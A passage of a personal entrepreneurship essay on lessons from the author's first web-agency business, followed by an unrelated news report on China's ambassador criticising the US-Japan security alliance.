So love your business every day, but make sure you are building value (i.e. the business can survive without you) and always have a “for sale” sign up.
By the way, I didn’t know this then, but this is a common strategy on the path to billions. Look at Mark Cuban (sold his first software company before starting Audionet / Broadcast.com), or Elon Musk (sold Zip2, then Paypal, before starting Tesla, SpaceX, etc).
Don’t fall in love with a company.
Here’s the people who angered me in my first business:
customers, partners, employees, landlords, buyers of my business, competitors – in that order.
In later companies add in shareholders.
But you can never get angry.
Life + Anger < Life.
So how do you get rid of the anger?
Remember this other equation:
Anger = Fear clothed.
Ask: what is it I am afraid of? Am I afraid the client will quit? Am I afraid the employee will damage a project? Am I afraid the partner will refuse to go along with my very personal idea for how the company can grow?
Solve the fear. Look at the worst case scenario. Is it that bad?
For instance, make a plan for when the client will leave you. And try to compromise with the partner (something you can’t do if you are yelling at each other).
And if the project is not so good because of what the employee does, maybe that’s not the worst thing either. Maybe don’t have expectations so high all the time.
First, Say “Yes” to everything. Can you do X? Yes. Can you do Y? Yes. Can you do it for less than $ Z? “Yes!”
You have to get the deal.
And the client is always right!
But then the client is often wrong.
So that’s when you can either say “No” or negotiate or fire the client.
Negotiation was rare for me in my first business. I simply did everything every client asked for whatever price.
The only times I said “No” was when startups wanted me to work for equity. Then I said “No.” Because equity is worth nothing all of the time.
But I did the Miramax website for $ 1000 even though I did the website for “The Matrix” for $ 250,000.
I just said “yes” to everything and soon our company was “the company that did all of the entertainment websites.”
That brand value was worth millions during the small window that opened up when agencies like mine were being bought by public companies.
Above I said, “delegate.” But now I’m saying “don’t spend money.”
Real businesses have cycles. If you are as lean as possible then you can handle a downturn. I never hired a secretary, for instance. And we only moved offices when we were 40 people in a three room office.
If your business lives on “VC welfare” (i.e. you are funded by big-pocketed investors who will put in more) then ignore all of this.
If you live in the real world and not on welfare then you need to spend less than you charge.
We didn’t know what we were doing. We had no sense of accounting or what a P&L was. Knowing accounting is the froth on top of a good business. It makes the business better.
But it’s not a startup entrepreneurial mindset.
The startup mindset is: “Do I have more cash in the bank at the end of the month (when bills are due) than I had at the beginning of the month.”
Note that accounting often ignores that (“money owed by clients” is an “asset” on paper but not in real life).
Everyone thinks their business is the best ever and their employees are “the top 1% of what they do.”
There’s a cognitive bias that describes this but I forget what it is.
And it’s really hard not to think this way. Even if you know something is a cognitive bias, even if you know that you are probably irrational, you will still smoke your own crack.
When I look back at some of the websites my first company made, I can see how bad they are in retrospect.
We sucked.
So we got a little lucky but that’s what hard work, and being good at sales, and selling the company are for.
It’s really important to take a step back, constantly look at the landscape, and try to objectively see where you and your company fit in.
Have a mindset of constantly trying to get better and offer more and more instead of resting on, “we’re the best.”
[ RELATED: The 100 Rules for Being an Entrepreneur ]
I started my first successful business with my sister.
It was such a roller coaster. My sister was an aspiring novelist. I worked for a TV company. And her husband was a painter by training. And we had another partner who was a photographer.
We knew absolutely nothing other than: sell, work, charge, repeat.
We had to learn so much while we built up to millions in revenues and ultimately selling the business.
It was really brutal. Almost all of the time we were either working hard, or running around scared. And we argued with each other a lot.
But we did it and built it and sold it and got out alive. Many of our competitors didn’t. Because that entire sector imploded within months in 2000.
We traveled together, we ate all of our meals together, we spent so much time together. We had to make it fun. We threw parties. We made fun side projects. My brother-in-law was best man at my wedding.
We supported each other’s lives.
But an “entrepreneurial mindset” is really brutal and is a raging fire that often scorches the Earth until there are no survivors.
So now we don’t speak to each other at all. And I miss them.
NOW WATCH: People are obsessed with this convenience store that’s only in 6 states
]]>Washington and Tokyo are deliberately portraying Beijing as an enemy to strengthen their security alliance, China’s ambassador to Japan has said, expressing dissatisfaction with their “Cold War mindset” and latest attempts to contain China’s regional ambitions.
“It sounds as if Japan and the United States are purposely taking China as their enemy and saying ‘Let’s join hands and go at China’,” ambassador Cheng Yonghua said Friday in Beijing, Kyodo reports.
The diplomat particularly criticized the agreement to further enhance their bilateral security alliance, noting that such diplomacy contradicts Tokyo’s promise to improve relations with China. He said the Japan-US alliance develops in a “clearly a Cold War mindset.”
“Frankly speaking, I am dissatisfied with what the Japanese side has been doing since January,” Cheng said with regards to Sino-Japanese relations.
US President Donald Trump in February reassured Japanese Prime Minister Shinzo Abe during their meeting in Washington that his administration remains committed to maintaining the United States’ long-standing security alliance with Japan, especially when it comes to disputed islands in the East China Sea known as Senkaku in Japanese and Diaoyu in Chinese.
The Japanese leader also pledged that his country would play a “greater role” in joint defense and security operations.
READ MORE: US and Japan carry out missile launch drills in Pacific
To solidify those pledges, senior security advisers reportedly met this week to discuss the coordination of these new efforts. Shotaro Yachi, head of the secretariat of Japan’s National Security Council, and H.R. McMaster, Trump’s national security adviser, reportedly reached an agreement during their meeting in Washington, according to Nikkei.
The security advisers discussed closer collaboration in the Asia-Pacific region including North Korea’s nuclear threat and China’s territorial claims in the East and South China seas, where the US continues to exercise the principle of freedom of navigation.
China has repeatedly warned the US and Japan against direct interference in the region, either with military drills or freedom of navigation patrols. Beijing insists that it will do everything in its power to protect China’s sovereignty claims in the region.